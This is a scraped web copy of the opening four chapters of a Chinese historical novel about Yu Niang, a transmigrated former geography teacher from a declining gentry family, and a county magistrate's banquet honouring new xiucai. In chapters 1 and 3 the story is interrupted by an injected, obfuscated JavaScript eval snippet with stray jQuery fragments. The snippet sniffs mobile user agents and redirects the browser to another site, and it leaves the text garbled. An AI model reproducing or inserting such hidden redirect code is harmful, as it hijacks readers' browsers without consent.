《青梅煮酒(科举)》 1. 第 1 章 元吉十四年,秋。 南溪县在叙州府一众州县中拔得头筹,今年院试,叙州府统共取了二十五名秀才,南溪县就中了四个,其中两个禀生就够打眼了,偏偏其中考的最好的王苍中了头名。 新朝建立至今,王苍还是叙州府出的头个小三元。 南溪县的县尊罗大人到任还不满一年,就得了这天大的好处,喜不自胜,待四个秀才从叙州府回来后,立即给县里的教谕、乡绅等下帖子,赶在重阳前,他要见见今年的四位秀才。 罗县令下帖后,县令夫人给被邀的几家传话,只说秋高气爽气候好,县令夫人种的几丛秋菊开得正盛,该多带家里小辈出来交游才是。 得了县令和县令夫人的话,接到帖子的各家老爷夫人们,纷纷给自家的孩子装扮起来,待到那日随长辈一起赴宴。 南溪县南街·梅家。 “渔娘呢,快把渔娘叫来。” “哎,奴婢这就去。” 主母身边的大丫头明秋利落行礼后转身出门,跨出正院大门才快步往西跨院去。 梅家主子梅长湖出身淮安府三流世家,勉强在前朝的世家谱上挂了个名儿。但世家终究是世家,就算是分宗后的世家旁支,跟普通庶民比起来,那也是不差的。 梅家十多年前逃难到南溪县,经过这些年经营,梅家从刚来时勉强挤在临时买来的杂院里,到如今坐拥一座三进院,并东西两个跨院。 梅家安稳下来后,家里奴仆尽皆接了过来,里里外外男女老少奴仆大几十人。不和以前风光时比,只说在南溪县,梅家也是数得着的体面人家。 梅家的主子和睦,家里没有小妾侧室之流,夫妻俩只有一双儿女。梅家小娘子梅羡鱼,家里人喊渔娘,乃元吉初年生人,虚岁十四。小郎君梅羡林,元吉十年生人,虚岁四岁。 小郎君年纪小,和娘亲住在一起,渔娘带着伺候的丫头婆子住在西跨院。 穿过游廊,绕过几座庭院,明秋还未走近西跨院门口,守在院门口的小丫头笑盈盈道:“明秋姐姐来了,可是有事?” 明秋笑道:“有事,夫人找大小娘子过去试衣裳,小娘子可在忙?” “不知道,我帮姐姐去问问?” 明秋摆摆手,一边进门一边道:“你当你的差吧,我进去瞧瞧。” 明秋未进门时,院子里已经有丫头瞧见后已跑去屋里传话了,明秋进去跨院没走几步,小娘子身边的大丫头阿青就迎了出来:“明秋姐姐,咱们娘子在书楼里。” 明秋脚下一转,和阿青往西南角的书楼去,明秋笑问:“小娘子这几日还在画图呢?” “画着呢,咱们娘子搜罗了好些讲山川地势的书,只要有舆图的都比对着瞧,这些日子在画云南府的舆图。” 也不知什么原因,别家小娘子爱针线爱打扮,他们家小娘子就爱画舆图,还常闹腾着出去远游,家里老爷夫人哪里能叫她如愿? 老爷夫人被小娘子烦得没办法了,前些年答应小娘子在西跨院修了一座藏书楼,三层的书楼,既能藏书,也能让小娘子在楼上登高望远,散散心情。 出不了远门,小娘子就爱收集讲山水这类的书籍,最近更是痴迷上舆图。 “虽不能至,心向往之。” “罢了,就当望梅止渴吧。” 明秋还没上楼,在楼下就听到小娘子不甘心的话。 明秋轻步上楼,笑着道:“奴婢给小娘子请安,小娘子看书也累了,不如去正院转一转?夫人请您过去。” 渔娘懒洋洋地靠着圈椅,望了眼窗外的天高云淡的盛景:“也罢,今儿天气好,走动走动吧。” 渔娘领着两个丫头去正院,一进门就看到母亲的陪嫁妈妈捧着一匹湘妃色织锦给她母亲看,渔娘惊道:“咱们家哪儿来的好东西?这是苏州的吧?” 林氏拉她过去,把织锦往她身上比划,温声道:“前两日淮安主/□□边送来的中秋节礼给了匹湘妃色的织锦,估摸着那边想到你明年就十五了,大姑娘要做身体面衣裳,特地送来的。” 这颜色和花样只有她闺女这样的小姑娘适合,林氏一猜就知道淮安那边的意思。 “还挺大方的哈。”没见过多少好东西的渔娘拉着织锦细瞧。 林氏感叹道:“一匹织锦算什么好东西,能用罢了。” 以前还未分宗时,家族聚居在淮安,家里做的又是丝绸酒水茶叶这些贵货的买卖,绫罗绸缎都是可着使。 前后二十来年,又是战乱,又是一朝天子一朝臣,新朝建立后,别说梅家这样勉强够着世家的排面的小家族,就是顶头的那几家老牌世家,也是大受打击,明面上的土地、生意、人脉,都不剩下什么了。 “主/□□边还是厉害,这才十多年,败落的生意又做得像模像样了。”虽说都过去十多年了,渔娘至今都还记得,她刚出生时,听到爹和娘说,淮安族里家产被新贵占了大半时语气里的凄惶。 “勉强过得去吧,咱们这样的普通人家,走南闯北也就挣点辛苦钱,家里没个当官的,家产还不是说被占就被占了。” 不说这些不开心的话,渔娘给母亲倒茶递过去:“您这是准备拿织锦给我做一身,过些日子县令大人的宴会上穿?您不怕县令夫人拿话刺您?罗县令一个月的禄米也买不了一匹织锦呢。” 罗县令夫妻都是普通人家出身,罗家从罗县令往上数,罗家的先祖别说当官,连做吏员的都没有。罗县令能读书读出来,一是他自己能读,二是他那做点小生意的岳丈肯舍钱供他。 罗家祖上没人,没有来历,寒门的门槛都够不上,碰上同僚吵架骂战时,别人骂他一声庶民他也只能忍着。 罗县令夫妻这个出身,县令夫人计较些体面也正常。 渔娘双手搭在林氏肩上揉捏按摩:“这次院试咱们南溪县中了四个,还有个小三元,县令请秀才乡绅们聚聚是应有之理,县令夫人掺和一脚,非要把我们这些小姑娘叫去做什么,娘可知道?” 林氏舒坦地闭上眼睛享受闺女的孝心,顺口搭了句话:“你说说。” “娘不知道了吧。”渔娘得意地笑:“是因为县令夫人要给她娘家侄女找女婿,所以才叫咱们过去凑数。” 林氏睁开眼:“你怎么知道的?” “前两日隔壁贺叔家的布铺新到了货,我进去看了眼,看到县令夫人身边的大丫头陪着一对母亲在看布料,我听那丫头喊那个年轻的表姑娘。” 林氏忙问:“你贺叔可知道?” 县令夫人若是想给侄女选女婿,可能是看中了今年的四个秀才。县学的两个秀才已经成婚,只剩下王苍和贺家的二儿子贺文嘉。 “知道。” 林氏放心了。 “娘您别多想,我看那家看不上贺二郎,就算要选,肯定是选中了小三元的王苍。” 再说了,王苍今年十六,说亲也使得,贺二郎跟她一样是元吉初年生人,今年才十四,年纪不合适。 “王苍没可能,王苍她娘指着他考举人中进士,以后娶个对王苍为官有助力的官家小姐。别说县令夫人的侄女了,就是县令夫人的亲生女儿也没可能。” 十多年前前朝战乱时,从江南逃难而来落户在南溪县的没落世家共有三户,除了他们梅家,隔壁的贺家,还有住在城外白水村的王家。 按理说,他们三家出身相仿,又是外地人,关系应该处得亲近些,然而只有梅家、贺家关系亲近,王家跟梅家和贺家都处得淡淡的,逢年过节也不走节礼。 渔娘一想也是,如此说来,县令夫人的侄女选中贺二郎几率就大了。 渔娘正想着了,二门上的小厮来报,说是隔壁二公子来了。 “快请。” 过了片刻,贺二郎笑着道:“林婶婶,我给你们送好东西来啦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079280|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林氏亲热道:“来就来吧,怎么还抬东西来。” “在叙州府给您买的好东西,前两日跟着我爹见人没空闲,今儿才把行李收拾出来,这不,就给您送来了。” 贺二郎和小厮一起抬着个竹木箱子进来,看着好似很重,渔娘连忙过去:“你买的什么东西?” “你看看就知道了。” 贺二郎把箱子放桌上,打开一看,嚯,都是吃的,酸腌脆笋尖,竹荪干、叙州火腿、叙府大曲……十来样。 林氏一下乐了:“二郎,这些都是给婶娘的?” 跟二郎一样爱吃爱玩的可不是她这个长辈,这些一看就不是送给她的。 贺二郎嘿嘿直笑:“都可以吃嘛,这些都是我吃过的好东西。” 渔娘指着叙府大曲,瞪大眼:“哟,你还喝酒啦?” 贺二郎叹气:“我一点都不想喝,可宴席上一点不喝又不像样,我就尝了尝,辣得很,不好喝。” 渔娘大笑:“不好喝你还给送来?” “梅叔喜欢喝酒,这酒送给梅叔。” 两人凑一起翻捡箱子里的美食,林氏也不看布料了,挥挥手叫丫头们把布料抬下去。 贺二郎连忙道:“哎,我都差点忘了,婶婶,我爹留了几匹好布搁在家里,我娘请您过去瞧瞧,看看有没有用得上的。” “好,一会儿我就去。你可要家去?” “一会儿一会儿,我去书楼找本书就家去。” 林氏笑着点点头,出门前扭头看了林妈妈一眼,林妈妈得了令,在屋里伺候着。 “云南的舆图画的如何了?” “大差不差了吧,还有些细节要填充,回头我再找找书对照看看。” 贺二郎从不知道从什么地方拿出一本手写的《云南府食经》,渔娘惊讶得眼睛都睁大了。 “这本书我找了好久,不是说前朝就失传了吗?” 贺二郎万分得意道:“院试的时候碰到一个从东川府回叙州考试的学子,他们家就藏有这本书,我请他去状元楼吃了好几顿饭,他才答应借给我抄写一本。” “东川府啊,东川府和云南府接壤,有这本书也正常。”渔娘翻着《云南府食经》,上面的美食地图,还有各种景点,可太得她的心了。 “贺二郎,你厉害了。” 贺二郎傲娇地轻哼,就知道她一定喜欢。 贺二郎比渔娘大半岁,两人又是邻居,又都喜欢吃喝玩乐,两人就是标准的狐朋狗友。 看着书渔娘叹气:“可惜,天下之大,我去不了。” 上一世她是个地理老师,大学毕业一年存了点钱,正想趁着暑假去见识见识大好河山,却没想到就这么在车上一睡不起,没了性命。 如今倒是家有薄产,有钱有闲,可惜她是个小娘子,小娘子出远门可不容易。 贺二郎勉强安慰道:“我爹常说,人生不如意之事十之八九。我倒是男子,等我长大了可随意出门,可我也走不了,我爹指着我读书做官呢。” 贺二郎就想当个爱好吃喝的纨绔,读书都是被逼的。 两人对视一眼,心有戚戚。 “咱们认识的人里面,真心喜欢读书的只有王苍吧。”贺二郎感叹:“我感觉他能考中状元。怎么办,有点嫉妒。” “行了,人家拿出十二分力气读书,你最多五六分,你还有脸嫉妒人家?” 也是哦。 渔娘鄙视他一眼。 “别想不开心的事情了,把火腿拿去厨房,叫厨娘炖上。” “炖上炖上,晚上我在你家用晚食。” 今天吃火腿,过几日去罗县令家吃宴席。王苍小三元定然得摆宴办一场,还可以再吃一顿。 这点小愁苦几顿美食就可缓解。 果真,人生在世,吃喝二字。 两人看着肥壮的火腿嘿嘿直笑。 2. 第 2 章 “姐姐,抱抱。” “不抱,咱们二郎已经是大孩子了,要自己走哦。” 三岁多的小娃娃被拒绝了也不哭闹,姐姐不抱,他就捏着小拳头,鼓着圆圆的脸颊,迈着小短腿,一步步跟在姐姐的屁股后面走,虽然慢,但每一步都走得稳当,从正院到二门处,竟然一下都没摔。 渔娘冲爹娘笑:“你们看,我说的没错吧,他都三四岁了,哪里需要人抱进抱出的,像什么样子。” “他不喜欢走路就不走嘛,何必要逼着他,三四岁又不大。”梅长湖心疼儿子,等不及了儿子过来,一把抱起儿子。 “你看二郎胖成什么样了,他还不爱走路,如何使得,就该听渔娘的,让二郎多动动。” 林氏悄悄捏了梅长湖胳膊一把,疼的梅长湖龇牙咧嘴的。 当着这么多下人的面呢,不孝女还在一旁看热闹,梅长湖到底要脸,不好痛叫出声来,赶紧催促道:“日头不早了,赶紧上车吧,一会儿各家都到了,咱们可不能最后到。” 今儿是去罗县令家赴宴的日子。 林氏看了眼日头,又看了看一家四口身上的穿戴,没出错儿,这才扶着丫头的手上马车。 “走吧。” 管门房的梅大拆了门槛,今儿负责赶车的梅五轻挥鞭子,精心养着的高头大马矜持地迈着腿出门。 今儿天气好,日头高照,惠风和畅,宽大的车厢顶檐压着一圈庄重的黑漆,顶檐下头右侧的车壁上,铁笔银钩刻着一个梅字,黑底朱绘,在阳光下十分显眼。 高头大马拉着大车走前头,大车后头还跟着两架质朴低调的马车,上头坐着跟去伺候的下人,三辆马车排成一行走在路上,刚转弯进县衙所在的主街,罗家的管家远远就看到了。 罗管家小声提点刚从乡下的侄子:“瞧见没,那是梅家的马车。梅家是淮安来的,走水运发家,加上他家又姓梅,遇水则发,梅家祖上留下的规矩,家里崇水德,梅家的马车的顶檐儿、窗棂、车辕上这些地方,都喜欢饰以黑漆,家徽上偶尔几笔朱绘。” “叔,淮安那可是好地界儿,梅家怎么来咱们这儿了?” 梅管家微微一笑:“只能说,世事无常啊。” 梅家的马车还未停稳,梅管家忙迎上去:“梅掌柜到了,快里边请。” 梅长湖下马车,迈步进门,轻拍了下衣襟笑道:“贺兄比我先出门,可是到了?” “贺掌柜带着贺二公子刚到一会儿,王秀才并其他三位秀才公也到了,正在里头说话。” “哦,可是在谈论学问?” “哈哈哈,咱们县令昨儿就说了,四位秀才中秀才,该让他们松快几日,今儿就不谈学问了,只赏花喝酒。” “罗县令真是体贴这些小子啊。” 梅长湖说话中气十足,贺宁远放下茶杯,贺文嘉、王苍站起身迎接,另外两位秀才也站起了身。 “梅叔,快来坐。” 梅长湖笑着拱手道:“来迟了来迟了,贺兄,四位秀才公别见怪。” 贺宁远也站起身,笑道:“早上还是你先催我出门,怎得到的比我还晚?” “还不是二郎那个小子,走路慢慢腾腾,等他从屋里走出来,一盏茶的工夫就过去了。” “哦,二郎今儿肯走路?” “渔娘硬要他走,不走就不带他出门,也是被逼的。” 贺宁远和梅长湖坐下,四位秀才这才跟着坐下,贺文嘉说:“梅叔,我听婶婶说过几日要带羡林弟弟去清江村住几日,正好秋日天气好,让二郎去乡下跑跑也使得。” 说要去乡下住几日的是渔娘,在外面不好提姑娘家的名字,贺文嘉就只说婶娘。 王苍如何听不明白,笑问道:“婶娘可是想去南山上的白云观上香?” 梅长湖点点头:“你们婶娘身子骨不好,趁着冬日前日头好,去白云观给三清老爷上炷香,冬日就不去了。” 贺宁远问:“日子可定了?日子定下了你且使唤人来家里说一声,我和你嫂子也要去白云观还愿。” 梅长湖笑着看了眼贺文嘉:“给二郎还愿吧。” 贺宁远含笑点头。 两人正说着话呢,又进来几位,有城北的开私塾的何秀才,有城西开书铺的秦掌柜,另有三四个在南溪县有些文名的童生等,这些人一到,屋里就热闹起来了。 一群人厮见完,罗县令、县学的王教谕,王苍和贺二郎的先生孙浔三人到了,现场气氛就更加热闹起来。 “孙先生呐,你的两位高徒这次院试可让咱们开眼界了,老夫在南溪县教了大半辈子的书,这还是头回见到小三元呐。” 孙浔笑道:“何兄客气,您以前也是教出过秀才的,王苍这次有幸得中小三元,除了他读书认真,主要是运气使然。” 何秀才大笑一声:“王苍是咱们南溪县远近闻名的才子,若不是他稳重,压后两年才去院试,我看他两年就中了,孙兄,你就别谦虚了。” 王苍忙忙起身拱手道:“何秀先生夸的小子脸红,小子不敢当。” 早两年?早两年这份政绩哪里能落在罗县令身上? 罗县令请众位落座,一边道:“本官看压两年好,学问之事不可急躁,稳扎稳打才好。” “县尊大人说得很是。” 前院男人们说得热闹,后院的气氛也不差分毫。 县令夫人刘氏坐在右边上首,左边坐着王教谕的夫人朱氏。下首分散坐着王苍的母亲赵氏、贺宁远的夫人阮氏、梅长湖的夫人林氏、县令夫人的娘家大嫂张氏,以及其他几位秀才的家眷等。 “王夫人,这次你家大郎得中小三元可不得了,我家大人念叨了好几回,说不出十年,你们王家又要多一位翰林了。” 赵氏嘴角带笑,为表尊重,身子微微向县令夫人上首侧了下,笑道:“王苍才中秀才,哪里当得起夫人夸奖,夫人过誉了。” “王夫人可别这么说,你家的大郎是文曲星转世,以后呀,金榜题名,入翰林,入阁拜相都指日可待。” “哈哈哈,贺夫人说的是。” 旁人忙附和。 “贺夫人别说王夫人家的大郎了,你家二郎也不差,才十四就中了秀才,还是廪生,这也是难得读书根苗。” 贺夫人笑道:“我家不比王苍,我家二郎有今日,全靠他爹拿棍子训出来的。不瞒诸位,我家二郎中秀才前,我日日担心,生怕这根苗还没长起 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县令夫人发话了,渔娘等几个半大姑娘们也不在屋里立着装乖巧了,带着弟弟妹妹去院子散散。 小姑娘们走了,屋里夫人们的话题从孩子读书转到嫁娶上来,上月何秀才家的老来女才出嫁,都夸何家的小女儿嫁得好。 王教谕的夫人朱氏开口道:“王夫人,你家大郎今年也十六了吧,可有在相看了?” 赵氏笑语:“不着急,我们这等读书人家读书重要,等他学业有成后再说亲也不迟。” 县令夫人的大嫂张氏试探着问:“十六也不小了,先定下,几年后再成亲也使得。” “夫人有所不知,这是我夫君还在时就留下的话,定要大郎考中进士后再说亲,我也……唉,人都去了,就听他的吧。” 赵氏都这般说了,其他人也不好再提,话头回到赏花上,王教谕的夫人夸县令夫人种的菊花好瞧,也只有县令夫人这样蕙质兰心之人才有耐心养出这般好看的花来。 县令夫人接住朱氏的话头,说起当年罗县令中进士后去座师张阁老家赴宴,张阁老家的花园里种的菊花才叫好看,黄的、白的、粉的各色颜色都有,唯有一盆墨菊最好看独特。 几位秀才家的娘子都惊了,还说在南溪县从未见过墨菊,也不知道什么时候能开开眼界。 “要说还是夫人有见识。” 县令夫人笑道:“这算什么见识,各地风物不同,咱们南溪县也有外面没有的好东西。” “夫人说的是。” 梅家、贺家、王家的三位出身世家的夫人,都微笑着端起茶抿了一口,又放下,都不曾搭话。 王教谕的夫人朱氏坐在上首看得清楚,她不经意地打量了这三位一眼,在场的娘子夫人们,论穿戴讲究,搭配得当,首饰雅致,还要数梅家、贺家、王家三位。 听说这三家都是世家出身,用过见过的好东西不少吧。 朱氏又笑瞥了眼坐在右下首的张氏,头上的三对金簪,腕子上两对金镯子。她估摸着,有张氏这样的亲娘,就算有罗县令牵线,张家的女儿也嫁不了两位秀才。 3. 第 3 章 一群小郎君小娘子被带到院子里,一个个小祖宗跟前都围着人哄,年纪大些的小娘子跟熟悉的人聚在一块儿说话,摆在院子里几盆开得正盛的菊花倒是没人多看一眼。 都是些寻常菊花,论花形,论珍稀,都不值一提,梅二郎伸手想抓,被渔娘眼明手快拦住。 “这是别人家的东西,不能乱摘。” “哦。” 梅二郎也不哭闹,慢慢地走到墙角阴凉处蹲下,一动不动,就跟个蘑菇一样。 渔娘:“……” 站着挺累的,她也想蹲下怎么办?渔娘左看右看,院子里人不少,她一个小淑女做不出这种事来。 “梅姐姐。” 渔娘扭头一看,笑道:“是芸娘呀。” 芸娘笑盈盈地走过来,行动之间,浅云色裙摆像散开的白荷一般,偶有一丝光微微荡漾开来,里层裙子上清雅的绣花若隐若现。 王炎和赵氏育有一儿一女,王芸娘出生时他父亲王炎已经病逝,是遗腹子,芸娘也乖巧,十分得赵氏疼爱,吃穿用度都很优渥,教养方面也不曾轻忽,养育得很精心。 “哟,外面加了一层丝?里面的绣花若隐若现,挺好看。”渔娘目光落在芸娘的裙子上。 芸娘笑道:“也不是什么新花样,梅姐姐还看上的这个?” “这裙子衬你。” “那我送梅姐姐一样东西,也很衬你。” 芸娘从伺候的丫头手里拿来一本书递给渔娘:“知道你喜欢收集这些书,我前几日得了这本书,送给你。” 一本前朝的农书《中原农耕术》,渔娘翻开一看,写书的人是南阳耕农,这个号渔娘太认得了,她惊喜道:“可是南阳府许农所作?” “如若没有人借名杜撰,应该就是了。” 南阳府许农其人,乃是战国时期诸子百家中农家的代表人物许行的后人。 许家人一直躬耕于南阳,耕读传家,前朝战乱时,南阳府被各方军队几番争夺,南阳府许多人逃的逃死的死,许家人也是如此。总之,等渔娘前些年得知许家名号时,许家人已经不知踪迹了。 “芸娘你可真好,这本书我太喜欢了。”渔娘高兴得直跺脚。 “梅姐姐喜欢就好,不枉费寻书的一番辛苦。” 渔娘笑道:“你送了我这样一份厚礼,我都不知道怎么感谢你,我这儿有什么你想要的,别客气,只管开口。” 芸娘捂嘴笑:“不用你感谢,这些农书工书你喜欢送给你正好,留在我手里也是无用。” “那可不行。” 渔娘想了想:“你不是喜欢刺绣吗?我有一本前朝时潮绣大家吕娘子亲手写的《潮绣技法注疏》,你肯定喜欢。” 芸娘从小学苏绣,但是一听是潮绣大家吕娘子的书她确实心动了,芸娘还未开口,渔娘就对跟在身边的大丫头阿青道:“你亲自跑一趟,去书楼把《潮绣技法注疏》那本书拿来。” “奴婢知道了。” 渔娘把刚得的《中原农耕术》交给阿青带回去:“放好了,可别弄坏了。” “奴婢一定小心保管。” 得了好东西,渔娘心满意足,拉着渔娘到墙下阴影处,把二郎这个小不了点儿往边上挤,梅二郎举着他刚捡来的小树枝站起来,迈着小短腿往旁边挪两步又蹲下,往地上戳戳戳。 “你哥这回考了小三元,你家要办宴吧?”渔娘小声打听。 芸娘摇摇头:“不办,我娘说,哥哥虽然中了小三元,到底只是个秀才,只考了个秀才就大操大办起来,叫外人听去了,只说我们王家轻浮。” 以赵氏严讲规矩,又严格要求子女的脾气,能讲出来这番话来渔娘一点也不稀奇。 “秀才也难得,既然考中了,也该开心开心才是。不过以你哥从小喜欢装大人的样子,估计也不会反对你娘吧。” 芸娘偷笑:“你一猜就中。” 两人正说着话,罗家的小丫头走过来行礼:“两位贵客,我家表小姐在那边凉亭里准备了茶点,若是赏花累了,可过去坐下歇息歇息。” 在外人面前渔娘端着身段,装模作样道:“我赏够了,芸娘可还要再赏一赏?” “县令夫人的菊花实在好看,我陪梅姐姐过去歇息歇息,一会儿再来赏。” 渔娘悄悄捏芸娘胳膊,这小丫头嘴巴巧,拿她顶前头呢。 芸娘低头笑着问:“二郎可要去凉亭坐一坐?” 刚才听到点心两个字梅二郎就已经站起来了,主动拉着姐姐的手:“走,去凉亭,二郎热。” 渔娘忍俊不禁,这究竟是热还是想吃点心了? 渔娘和芸娘带着二郎到凉亭时,凉亭中的石桌边已经围坐了好几位娘子了,渔娘在贺家布铺里见到的表小姐刘小娘子正跟王教谕家的小娘子说话,态度十分和善亲热,可见是认识的。 渔娘的堂妹露娘看到她们过来,忙站起身招呼:“堂妹,梅姐姐,快过来坐,我给你们留了位置,你们再晚一会儿就没座儿了。” 芸娘笑着道谢:“谢谢堂姐惦记着我们,正巧有点累想坐一坐。” 露娘轻哼:“这大热天的晒的人发晕,换谁谁不累?” 刘小娘子面露歉意:“怪我,没有早安排周到,累几位妹妹受罪了。” 露娘言语耿直:“不怪你,县衙后花园就这巴掌大的地方,你又是客,有心安排估计也难做。” 刘小娘子语塞,王小娘子忙说:“我看这个小亭子正正好,精致可爱,咱们坐近一些,正好说说话。” 露娘还想张口,芸娘拉住堂姐,打了个岔:“堂姐,那茯苓糕看着不错,你拿一块给二郎,二郎肯定饿了。” 二郎眼巴巴地看着,露娘伸手拿了一块茯苓糕,放茶碟里递给梅家小郎君。 梅二郎拿到茯苓糕,乖乖地道谢。 露娘开心地拍掌:“还是咱们二郎乖巧,不像我家那个弟弟调皮顽劣。” 刘小娘子主动搭话:“我家弟弟也闹腾,就没个停歇的时候。” “是吧,男娃从小就讨人厌。” 王小娘子故意问:“你堂哥也讨厌?我听外面的人说,你堂哥是个端方君子,交游的读书人没有不说他好的。” “你问我堂哥呀?你不该问我,芸娘这个亲妹妹就在这儿呢,你该问芸娘。” 刘小娘子握住王小娘子的手心,对露娘说:“笑闹几句罢了,咱们姑娘家,哪里好问这话,叫人听去了,岂不是要说我们不知规矩?” 在场的除了小孩子,好几个十二三的小娘子,都懂礼地笑了笑。 渔娘拿帕子给二郎擦嘴,问道:“刘姐姐叫我等妹妹,刘姐姐多大了?” “十五了,六月时才办了笄礼。” 露娘插话:“刘小娘子可说了人家了?” 刘小娘子红了脸:“还未。” “听说你家是云南府的,刘小娘子怎有空闲来咱们这儿?” “从小父母请良师教我,家里长辈又说女子也要多学多长见识,正好母亲要来南溪县看望姑父姑母,我伺候着母亲前来,也想出门长长见识。” 刘小娘又笑道:“幸好我来了,要不我去哪里认识在座几位风采出众的妹妹呢?” 露娘似乎是懂了,笑了笑,没再追着刘娘小子问,扭头跟堂妹说话。 渔娘照顾弟弟,也没怎么搭话。 不过也没关系,有王教谕家的小娘子给刘小娘子递话头,说些云南府的民俗风情,听一听倒也挺有意思。 厅里开宴了,县令夫人身边的婆子来请,刘小娘子作为半个住人家请渔娘她们移步去坐席。 渔娘牵着二郎,跟露娘、芸娘堂姐妹三人走在后头,露娘小声说:“王小娘子可真会接茬儿,不怪是她亲娘教出来的,都会捧人。” “堂姐别胡说。” “放心,我只说给你听,旁人听不见。” 渔娘往前迈一步:“还有我。” 二郎往前迈一大步,学姐姐:“我!” 露娘扑哧笑了:“你们姐弟肯定算咱们这边的,自己人,不妨事。” 宴会分男客女客,男客在前院大厅,女客在后院花厅。花厅也不大,分了两桌,夫人们一桌,渔娘这等小姑娘一桌,倒也摆得下。 罗家的宴席算办得体面的,渔娘刚才吃了两块点心,又喝了两盏茶,肚子也不饿,随意吃了两口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079282|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二郎胃口倒是好,什么都想尝尝,渔娘吩咐伺候的丫头,每一道菜只给二郎尝一尝就够了,别吃撑了。 “姐姐,还要。” “你还去不去周家吃香妃酥?” “要。” “要就听我的。” “嗯。” 午宴撤下去后,县令夫人领着去厅里喝茶,未时刚过,管家前来传话,说大人那边散了。 前头散了,后面女客这边自然也散了,县令夫人身边的贴身妈妈亲自送客人们出二门。 上马车前,林氏跟阮氏、赵氏告别。马车走到侧门处,梅长湖上马车,一家四口就齐了。 马车走出罗家,坐得端正的渔娘一下没了正形,靠着林氏肩膀叹气:“应酬真是累死了,在不想来了。” 林氏笑道:“这个小场面算什么应酬?你呀,在我和你爹面前没个正形就算了,在外可不许。” “知道啦,我有分寸。” 梅长湖提醒:“在你先生面前也不许,明年你也十五了,该注意些。前两日你先生还私下跟我说到你,说你这些日子太松了些,小心被你先生收拾。” “爹~您别念叨了,我都知道。” 梅家虽没落了,梅长湖对女儿的教养却没放松,世家女该学的都要学,正经说起来,渔娘这辈子受到的教养比之上辈子全面多了。 “别撒娇,好好说话。” 渔娘现在累,不想好好说话,只想耍赖。 林氏笑着拍拍女儿的胳膊:“坐好,小心碰着脑袋。” 梅家人回去的路上有说有笑,王家的马车上气氛就要冷凝多了,赵氏开口问一句,芸娘和露娘答一句。 问完后赵氏冷笑一声:“刘氏娘家不过是一介商户,家里连个读书人都没有,真以为她嫁到罗家成了县令夫人,她娘家就跟着鸡犬升天了?” 王教谕家的马车上,朱氏跟王教谕也在说这事:“我看有意的是县令夫人的嫂子,县令夫人似乎并不热切。” 王教谕叹道:“罗家勉强算是寒门出身,站在罗县令的立场,刘家小娘子嫁进王家这等世家不是什么好事。” 朱氏犹疑:“王家虽然还在世家谱上,可到底已经没落,下回重修世家谱,王家指不定就被黜落了,如今算不得什么世家了吧。” “世家谱难修,我估计,当今在位时世家谱不会有重修的一日。” “为何?当今出身关陇马家,马家上位之前在世家谱上都没有名号,马家不想重修士族谱,排在头一位?” 王教谕眉头紧锁:“恰恰相反,当今上位之初杀的世家人头滚滚,明摆着打压地方世家大族。加之这些年又大力提拔寒门出身的官员,其中用意不言自明。” 世家的关系盘根错节,野火烧不尽,春风吹又生。新朝建立至今十四年,寒门学子还未成气候,世家又卷土重来,治国安天下偏偏还少不了世家子,当今既要用世家,又要防备打压世家。 上行下效,寒门出身的官员,和世家出身的官员始终不是一路人。 “别看王苍如今只是个秀才,王苍聪慧肯读,终有一日会站到朝廷上,他是世家出身的俊才,世家拉拢他再正常不过,到时罗县令如何自处?” “这……多少年后的事情了,用得着这般担心吗?” “用不了多少年,罗县令致仕前,王苍必会走到那一步。”王教谕十分看好王苍。 县衙后院,县令夫人的嫂子张氏叹道:“可惜了,难得一个各方面都合适的年轻人。” 这个合适,只是张氏觉得合适,除了她之外,没有人觉得合适。 县令夫人安慰道:“当今看中咱们寒门出身,选个没落户,不如选个能读书的寒门学子,以后前途好着呢。” “我一个无知妇人哪里懂这些,您是县令夫人,又是见过大世面的,你大哥都说了,孩子的婚事叫我多听你的。”张氏言语间都尽力捧着小姑子。 县令夫人笑道:“嫂子不用这么客气,舒娘是我亲侄女,我这个做姑姑的总不会害了她。” 刘小娘子闺名舒娘。 刘舒娘站在一旁低声不语,想起那日在码头上的惊鸿一瞥,不禁有些遗憾。 4. 第 4 章 有本事的人,在哪儿都不缺饭吃,周家人靠着一手好厨艺开了家饭庄在南溪县立足,去年从杂乱的北街搬家到南溪县房价最贵的南街,和梅家、贺家成了街坊。 渔娘答应要带弟弟去周家找周淼蹭点心吃,马车赶进南街,渔娘忙吩咐:“五叔,在周家门口停一下。” “哎。” 梅二郎听到周家两个字,本来午后有点困倦,一下就精神了。 林氏一下乐了:“你个臭小子,这么馋嘴,家里是缺你吃还是缺你喝了?” 梅二郎答话,忙往姐姐身边贴贴,拉着姐姐的袖子,好似怕他姐姐不带他去周家一般。 梅长湖看着儿子的小肚子,坐下后圆溜溜的肚子比站起时显眼多了,嘟囔一句:“这孩子这般爱吃,也不知道像谁?” 林氏横他一眼:“总不会是像我。” 梅长湖不敢吭声。 渔娘看爹这么怂,捂嘴偷笑。 马车停到周家门口,渔娘带着弟弟下马车:“爹,娘,我去找淼娘了。” “早些家去。” “知道了。” 周家人对梅家姐弟自然熟悉,看管门房的小厮一看到梅家的马就赶忙去后院传话,渔娘牵着弟弟进门,周家的女仆就迎了上来,笑盈盈道:“午前阿青来过家里一趟,说是您要来找我们家小娘子说话,小娘子用了中饭后就开始揉面烤酥饼,刚才做好,小郎君来得正是时候。” 点心做好了呀,梅二郎的小短腿都迈得快了些。 